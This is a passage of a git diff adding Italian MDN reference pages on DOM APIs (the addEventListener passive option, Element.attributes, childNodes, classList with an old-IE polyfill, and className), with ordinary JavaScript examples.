+<p>Per evitare questo problema, alcuni browser (in particolare, Chrome e Firefox) hanno modificato il valore predefinito dell'opzione <code>passive</code> in <code>true</code> per gli eventi {{event("touchstart")}} e {{event("touchmove")}} sui nodi a livello del documento {{domxref("Window")}}, {{domxref("Document")}}, e {{domxref("Document.body")}}. Questo impedisce al listener di eventi di essere chiamato, quindi non può bloccare il rendering della pagina mentre l'utente sta scorrendo.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Vedi la tabella di compatibilità qui sotto se hai bisogno di sapere quali browser (e / o quali versioni di quei browser) implementano questo comportamento alterato.</p>
+</div>
+
+<p>Puoi sovrascrivere questo comportamento impostando esplicitamente il valore di <code>passive</code> a <code>false</code>, come mostrato qui:</p>
+
+<pre class="brush: js">/* Feature detection */
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+}, passiveIfSupported );
+</pre>
+
+<p>Nei browser meno recenti che non supportano il parametro <code>options</code> su <code>addEventListener()</code>, il tentativo di utilizzarlo impedisce l'utilizzo dell'argomento <code>useCapture</code> senza utilizzare correttamente il <a href="#Safely_detecting_option_support">rilevamento delle funzionalità</a>.</p>
+
+<p>Non è necessario preoccuparsi del valore di <code>passive</code> per l'evento di base {{event("scroll")}}. Poiché non può essere annullato, i listener di eventi non possono comunque bloccare il rendering della pagina.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specificazione</th>
+   <th>Stato</th>
+   <th>Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definizione inziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.EventTarget.addEventListener", 3)}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.removeEventListener()")}}</li>
+ <li><a href="/en-US/docs/DOM/Creating_and_triggering_events">Creazione e attivazione di eventi personalizzati</a></li>
+ <li><a href="http://www.quirksmode.org/js/this.html">Maggiori dettagli sull'uso di <code>this</code> nei gestori di eventi</a></li>
+</ul>
diff --git a/files/it/web/api/element/attributes/index.html b/files/it/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..5bd14f3e4b
--- /dev/null
+++ b/files/it/web/api/element/attributes/index.html
@@ -0,0 +1,120 @@
+---
+title: Element.attributes
+slug: Web/API/Element/attributes
+tags:
+  - API
+  - Attributi
+  - DOM
+  - Element
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La proprietà <strong><code>Element.attributes</code></strong> restituisce una raccolta in tempo reale di tutti i nodi di attributo registrati nel nodo specificato. È una {{domxref("NamedNodeMap")}}, non un <code>Array</code>, quindi non ha metodi predefiniti degli {{jsxref("Array")}} e non ha i metodi {{domxref("Attr")}} dei nodi che possono differire tra i browser. Per essere più specifici, <code>attributes</code> è una coppia chiave/valore di stringhe che rappresenta qualsiasi informazione riguardante quell'attributo.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<h3 id="Esempi_basilari">Esempi basilari</h3>
+
+<pre class="brush: js">// Ottenere il primo elemento &lt;p&gt; nel documento
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;</pre>
+
+<h3 id="Enumerating_elements_attributes" name="Enumerating_elements_attributes">Enumerazione degli attributi degli elementi</h3>
+
+<p>L'indicizzazione numerica è utile per passare attraverso tutti gli attributi di un elemento.<br>
+ L'esempio seguente esegue i nodi dell'attributo per l'elemento nel documento con id "paragraph" e stampa il valore di ciascun attributo.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // First, let's verify that the paragraph has some attributes
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i &gt;= 0; i--) {
+         output += attrs[i].name + "-&gt;" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No attributes to show";
+     }
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="paragraph" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;input type="button" value="Show first attribute name and value"
+      onclick="listAttributes();"&gt;
+    &lt;input id="result" type="text" value=""&gt;
+  &lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Da {{SpecName('DOM3 Core')}}, spostato da {{domxref("Node")}} a {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento da {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Element.attributes")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, l'interfaccia dell'oggetto restituito</li>
+ <li>Considerazioni sulla compatibilità con ross-browser: su <a class="external" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a></li>
+</ul>
diff --git a/files/it/web/api/element/childnodes/index.html b/files/it/web/api/element/childnodes/index.html
new file mode 100644
index 0000000000..f56bcc4380
--- /dev/null
+++ b/files/it/web/api/element/childnodes/index.html
@@ -0,0 +1,99 @@
+---
+title: Node.childNodes
+slug: Web/API/Element/childNodes
+translation_of: Web/API/Node/childNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>La proprietà di sola lettura <code><strong>Node.childNodes</strong></code> restituisce una {{domxref("NodeList")}} dinamica di {{domxref("Node","nodi")}} figli dell'elemento dato in cui il primo nodo figlio viene assegnato all'indice 0.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <var>nodeList</var> = <var>elementNodeReference</var>.childNodes;
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_semplice">Utilizzo semplice</h3>
+
+<pre class="brush:js">// parg è un riferimento a un elemento &lt;p&gt;
+
+// Innanzitutto controlliamo che l'elemento abbia dei nodi figli
+if (parg.hasChildNodes()) {
+  var children = parg.childNodes;
+
+  for (var i = 0; i &lt; children.length; i++) {
+    // fare qualcosa con ogni bambino da children[i]
+    // NOTA: l'elenco è dinamico, l'aggiunta o la rimozione di bambini modificherà l'elenco
+  }
+}</pre>
+
+<h3 id="Rimuovi_tutti_i_bambini_da_un_nodo">Rimuovi tutti i bambini da un nodo</h3>
+
+<pre class="brush:js">// Questo è un modo per rimuovere tutti i bambini da una
+// finestra di nodo è un riferimento ad un oggetto
+
+while (box.firstChild) {
+    //L'elenco è DINAMICO, quindi indicizzerà nuovamente ogni chiamata
+    box.removeChild(box.firstChild);
+}</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p>Gli elementi nella raccolta di nodi sono oggetti e non stringhe. Per ottenere dati da oggetti nodo, usa le loro proprietà (ad esempio <code>elementNodeReference.childNodes[1].nodeName</code> per ottenere il nome, ecc.).</p>
+
+<p>L'oggetto <code>document</code> ha 2 figli: la dichiarazione Doctype e l'elemento root, in genere <code>documentElement</code>. (Nei documenti (X)HTML questo è l'elemento <code>HTML</code>.)</p>
+
+<p><code>childNodes</code> include tutti i nodi figli, inclusi nodi non-elemento come nodi di testo e commenti. Per ottenere una raccolta di soli elementi, usa {{domxref("ParentNode.children")}}.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-node-childnodes', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Nessun cambiamento</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1451460987', 'Node.childNodes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Node.childNodes")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("Node.firstChild")}}</li>
+ <li>{{domxref("Node.lastChild")}}</li>
+ <li>{{domxref("Node.nextSibling")}}</li>
+ <li>{{domxref("Node.previousSibling")}}</li>
+ <li>{{domxref("ParentNode.children")}}</li>
+</ul>
diff --git a/files/it/web/api/element/classlist/index.html b/files/it/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..3d86fa8400
--- /dev/null
+++ b/files/it/web/api/element/classlist/index.html
@@ -0,0 +1,288 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+tags:
+  - API
+  - DOM
+  - Element
+  - Proprietà
+  - Read-only
+  - Referenza
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La proprietà <code><strong>Element.classList</strong></code> di sola lettura restituisce una raccolta {{domxref("DOMTokenList")}} dinamica delle classi dell'elemento.</p>
+
+<p>L'utilizzo di <code>classList</code> è una comoda alternativa all'accesso all'elenco di classi di un elemento come stringa delimitata dallo spazio tramite {{domxref("element.className")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">const <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em> è una {{domxref("DOMTokenList")}} che rappresenta l'attributo class di <em>elementNodeReference</em>. Se l'attributo class non è stato impostato o è vuoto <em>elementClasses.length</em> ritorna <code>0</code>. <code>element.classList</code> è di sola lettura, sebbene sia possibile modificarlo utilizzando i metodi <code>add()</code> e <code>remove()</code>.</p>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt><code>add( String [, String [, ...]] )</code></dt>
+ <dd>Aggiunge le classi specificate. Se queste classi esistono già nell'attributo <code>class</code> dell'elemento, vengono ignorate.</dd>
+ <dt><code>remove( String [, String [, ...]] )</code></dt>
+ <dd>
+ <p>Rimuove le classi specificate.</p>
+
+ <div class="note"><strong>Nota:</strong> La rimozione di una classe inesistente NON genera un errore.</div>
+ </dd>
+ <dt><code><strong>item</strong>( Number )</code></dt>
+ <dd>Restituisce il valore della classe per indice nella collezione.</dd>
+ <dt><code><strong>toggle</strong>( String [, force] )</code></dt>
+ <dd>Quando è presente un solo argomento: aggiunge/rimuove il valore della classe; ad esempio, se la classe esiste, la rimuove e restituisce <code>false</code>, altrimenti, la aggiunge e restituisce <code>true</code>.<br>
+ <br>
+ Quando è presente un secondo argomento: Se il secondo argomento restituisce <code>true</code>, aggiunge la classe specificata; se restituisce <code>false</code>, la rimuove.</dd>
+ <dt><code>contains( String )</code></dt>
+ <dd>Verifica se il valore di classe specificato esiste nell'attributo <code>class</code> dell'elemento.</dd>
+ <dt><code>replace( vecchiaClasse, nuovaClasse )</code></dt>
+ <dd>Sostituisce una classe esistente con una nuova classe.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">const div = document.createElement('div');
+div.className = 'foo';
+
+// il nostro stato iniziale: &lt;div class="foo"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// usare l'API classList per rimuovere e aggiungere classi
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// &lt;div class="anotherclass"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// se visible è impostato rimuovilo, altrimenti aggiungilo
+div.classList.toggle("visible");
+
+// aggiungi/rimuovi visible, a seconda del test condizionale, i meno di 10
+div.classList.toggle("visible", i &lt; 10 );
+
+console.log(div.classList.contains("foo"));
+
+// aggiungere o rimuovere più classi
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// aggiungere o rimuovere più classi utilizzando la spread syntax
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// sostituire la classe "foo" con la classe "bar"
+div.classList.replace("foo", "bar");</pre>
+
+<div class="note">
+<p>Le versioni di Firefox precedenti alla 26 non implementano l'uso di diversi argomenti nei metodi add/remove/toggle. Vedi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014" rel="noopener">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a></p>
+</div>
+
+<dl>
+</dl>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>L'evento legacy <code><a href="https://msdn.microsoft.com/en-us/windows/ms536956(v=vs.71)">onpropertychange</a></code> può essere utilizzato per creare un mockup dinamico di <code>classList</code> dinamico grazie alla proprietà <code>Element.prototype.className</code> che attiva l'evento specificato una volta modificato.</p>
+
+<p>Il seguente polyfill sia per <code>classList</code> che per <code>DOMTokenList</code> garantisce <strong>la piena</strong> conformità (copertura) per tutti i metodi e le proprietà standard di <code>Element.prototype.classList</code> per i browser <strong>IE10-IE11</strong> oltre ad un comportamento <em>quasi</em> conforme per <strong>IE 6-9</strong>. Controlla:</p>
+
+<pre class="brush: js">// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+    DOMTokenList.prototype.add = function(){
+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
+        var evt = window.event, prop = evt.propertyName;
+        if ( !skipPropChange &amp;&amp; (prop==="className" || (prop==="classList" &amp;&amp; !defineProperty)) ) {
+            var target = evt.srcElement, protoObjProto = target[" uCLp"], strval = "" + target[prop];
+            var tokens=strval.trim().split(wsRE), resTokenList=target[prop==="classList"?" uCL":"classList"];
+            var oldLen = protoObjProto.length;
+            a: for(var cI = 0, cLen = protoObjProto.length = tokens.length, sub = 0; cI !== cLen; ++cI){
+                for(var innerI=0; innerI!==cI; ++innerI) if(tokens[innerI]===tokens[cI]) {sub++; continue a;}
+                resTokenList[cI-sub] = tokens[cI];
+            }
+            for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            if(prop !== "classList") return;
+            skipPropChange = 1, target.classList = resTokenList, target.className = strval;
+            skipPropChange = 0, resTokenList.length = tokens.length - sub;
+        }
+    }
+    function polyfillClassList(ele){
+        if (!ele || !("innerHTML" in ele)) throw TypeError("Illegal invocation");
+        ele.detachEvent( "onpropertychange", whenPropChanges ); // prevent duplicate handler infinite loop
+        allowTokenListConstruction = 1;
+        try{ function protoObj(){} protoObj.prototype = new DOMTokenList(); }
+        finally { allowTokenListConstruction = 0 }
+        var protoObjProto = protoObj.prototype, resTokenList = new protoObj();
+        a: for(var toks=ele.className.trim().split(wsRE), cI=0, cLen=toks.length, sub=0; cI !== cLen; ++cI){
+            for (var innerI=0; innerI !== cI; ++innerI) if (toks[innerI] === toks[cI]) { sub++; continue a; }
+            this[cI-sub] = toks[cI];
+        }
+        protoObjProto.length = cLen-sub, protoObjProto.value = ele.className, protoObjProto[" uCL"] = ele;
+        if (defineProperty) { defineProperty(ele, "classList", { // IE8 &amp; IE9 allow defineProperty on the DOM
+            enumerable:   1, get: function(){return resTokenList},
+            configurable: 0, set: function(newVal){
+                skipPropChange = 1, ele.className = protoObjProto.value = (newVal += ""), skipPropChange = 0;
+                var toks = newVal.trim().split(wsRE), oldLen = protoObjProto.length;
+                a: for(var cI = 0, cLen = protoObjProto.length = toks.length, sub = 0; cI !== cLen; ++cI){
+                    for(var innerI=0; innerI!==cI; ++innerI) if(toks[innerI]===toks[cI]) {sub++; continue a;}
+                    resTokenList[cI-sub] = toks[cI];
+                }
+                for (var i=cLen-sub; i &lt; oldLen; ++i) delete resTokenList[i]; //remove trailing indexs
+            }
+        }); defineProperty(ele, " uCLp", { // for accessing the hidden prototype
+            enumerable: 0, configurable: 0, writeable: 0, value: protoObj.prototype
+        }); defineProperty(protoObjProto, " uCL", {
+            enumerable: 0, configurable: 0, writeable: 0, value: ele
+        }); } else { ele.classList=resTokenList, ele[" uCL"]=resTokenList, ele[" uCLp"]=protoObj.prototype; }
+        ele.attachEvent( "onpropertychange", whenPropChanges );
+    }
+    try { // Much faster &amp; cleaner version for IE8 &amp; IE9:
+        // Should work in IE8 because Element.prototype instanceof Node is true according to the specs
+        window.Object.defineProperty(window.Element.prototype, "classList", {
+            enumerable: 1,   get: function(val){
+                                 if (!hasOwnProp.call(this, "classList")) polyfillClassList(this);
+                                 return this.classList;
+                             },
+            configurable: 0, set: function(val){this.className = val}
+        });
+    } catch(e) { // Less performant fallback for older browsers (IE 6-8):
+        window[" uCL"] = polyfillClassList;
+        // the below code ensures polyfillClassList is applied to all current and future elements in the doc.
+        document.documentElement.firstChild.appendChild(document.createElement('style')).styleSheet.cssText=(
+            '_*{x-uCLp:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' + //  IE6
+            '[class]{x-uCLp/**/:expression(!this.hasOwnProperty("classList")&amp;&amp;window[" uCL"](this))}' //IE7-8
+        );
+    }
+})(window);
+// 3. Patch in unsupported methods in DOMTokenList
+(function(DOMTokenListProto, testClass){
+    if (!DOMTokenListProto.item) DOMTokenListProto.item = function(i){
+        function NullCheck(n) {return n===void 0 ? null : n} return NullCheck(this[i]);
+    };
+    if (!DOMTokenListProto.toggle || testClass.toggle("a",0)!==false) DOMTokenListProto.toggle=function(val){
+        if (arguments.length &gt; 1) return (this[arguments[1] ? "add" : "remove"](val), !!arguments[1]);
+        var oldValue = this.value;
+        return (this.remove(oldValue), oldValue === this.value &amp;&amp; (this.add(val), true) /*|| false*/);
+    };
+    if (!DOMTokenListProto.replace || typeof testClass.replace("a", "b") !== "boolean")
+        DOMTokenListProto.replace = function(oldToken, newToken){
+            checkIfValidClassListEntry("replace", oldToken), checkIfValidClassListEntry("replace", newToken);
+            var oldValue = this.value;
+            return (this.remove(oldToken), this.value !== oldValue &amp;&amp; (this.add(newToken), true));
+        };
+    if (!DOMTokenListProto.contains) DOMTokenListProto.contains = function(value){
+        for (var i=0,Len=this.length; i !== Len; ++i) if (this[i] === value) return true;
+        return false;
+    };
+    if (!DOMTokenListProto.forEach) DOMTokenListProto.forEach = function(f){
+        if (arguments.length === 1) for (var i = 0, Len = this.length; i !== Len; ++i) f( this[i], i, this);
+        else for (var i=0,Len=this.length,tArg=arguments[1]; i !== Len; ++i) f.call(tArg, this[i], i, this);
+    };
+    if (!DOMTokenListProto.entries) DOMTokenListProto.entries = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: [nextIndex, that[nextIndex]], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.values) DOMTokenListProto.values = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: that[nextIndex], done: false} : {done: true};
+        }};
+    };
+    if (!DOMTokenListProto.keys) DOMTokenListProto.keys = function(){
+        var nextIndex = 0, that = this;
+        return {next: function() {
+            return nextIndex&lt;that.length ? {value: nextIndex, done: false} : {done: true};
+        }};
+    };
+})(window.DOMTokenList.prototype, window.document.createElement("div").classList);
+})(window);
+</pre>
+
+<h3 id="Avvertenze">Avvertenze</h3>
+
+<p>Il polyfill ha funzionalità limitate. Al momento non è in grado di eseguire il polyfill fuori dagli elementi del documento (ad esempio elementi creati da <code>document.createElement</code> prima di essere appesi su un nodo padre) in IE6-7.</p>
+
+<p>Tuttavia, dovrebbe funzionare bene in IE9. Una discrepanza maggiore tra la versione polyfilled di <code>classList</code> e le specifiche W3 è che per IE6-8, non esiste un modo per creare un oggetto immutabile (un oggetto le cui proprietà non possono essere modificate direttamente). In IE9, tuttavia, è possibile estendere il prototipo, congelando l'oggetto visibile e sovrascrivendo i metodi di proprietà native. Tuttavia, tali azioni non funzionerebbero in IE6-IE8 e, in IE9, rallenterebbero le prestazioni dell'intera pagina Web fino alla scansione di una lumaca, rendendo queste modifiche completamente impraticabili per questo polyfill.</p>
+
+<p>Una nota minore è che in IE6-7, questo polyfill usa la proprietà <code>window[" uCL"]</code> sull'oggetto window per comunicare con le espressioni CSS, la proprietà css <code>x-uCLp</code> su tutti gli elementi e la proprietà <code>element[" uCL"]</code> su tutti gli elementi per consentire la raccolta di garbadge e migliorare le prestazioni. In tutti i browser polyfilled (IE6-9), una proprietà aggiuntiva <code>element[" uCLp"]</code> viene aggiunta all'elemento per garantire la prototipazione conforme agli standard e una proprietà <code>DOMTokenList[" uCL"]</code> viene aggiunta ad ogni oggetto <code>element["classList"]</code> per garantire che la DOMTokenList sia limitata al proprio elemento.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classlist", "Element.classList")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.classList")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("element.className")}}</li>
+ <li>{{domxref("DOMTokenList")}}</li>
+</ul>
diff --git a/files/it/web/api/element/classname/index.html b/files/it/web/api/element/classname/index.html
new file mode 100644
index 0000000000..ca463f5f75
--- /dev/null
+++ b/files/it/web/api/element/classname/index.html
@@ -0,0 +1,84 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Proprietà
+  - Referenza
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">La proprietà <code><strong>className</strong></code> dell'interfaccia {{domxref("Element")}} ottiene e imposta il valore <a href="/en-US/docs/Web/HTML/Global_attributes/class">dell'attributo <code>class</code></a> dell'elemento specificato.</span></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elementNodeReference</var>.className;
+<var>elementNodeReference</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><code>cName</code> è una variabile stringa che rappresenta le classi o le classi separate dallo spazio dell'elemento corrente.</li>
+</ul>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">let el = document.getElementById('item');
+
+if (el.className === 'active'){
+  el.className = 'inactive';
+} else {
+  el.className = 'active';
+}</pre>
+
+<h2 id="Appunti">Appunti</h2>
+
+<p>Il nome <code>className</code> viene utilizzato per questa proprietà anziché <code>class</code> a causa di conflitti con la parola chiave "class" in molti linguaggi che vengono utilizzati per manipolare il DOM.</p>
+
+<p><code>className</code> può anche essere un'istanza di {{domxref("SVGAnimatedString")}} se <code>element</code> è un {{domxref("SVGElement")}}. È meglio ottenere/impostare <code>className</code> di un elemento usando {{domxref("Element.getAttribute")}} e {{domxref("Element.setAttribute")}} se si ha a che fare con elementi SVG. Tuttavia, tieni presente che {{domxref("Element.getAttribute")}} ritorna <code><a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> anzichè <code>""</code> se <code>element</code> ha un <a href="/en-US/docs/Web/HTML/Global_attributes/class">attributo <code>class</code></a> vuoto.</p>
+
+<pre class="brush: js">elm.setAttribute('class', elm.getAttribute('class'))</pre>
+
+<div class="note">
+<p><code>class</code> è un <strong>Attributo</strong> <strong>HTML</strong>, mentre <code>className</code> è una <strong>proprietà del DOM</strong>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-element-classname", "element.className")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-95362176", "element.className")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Element.className")}}</p>
+
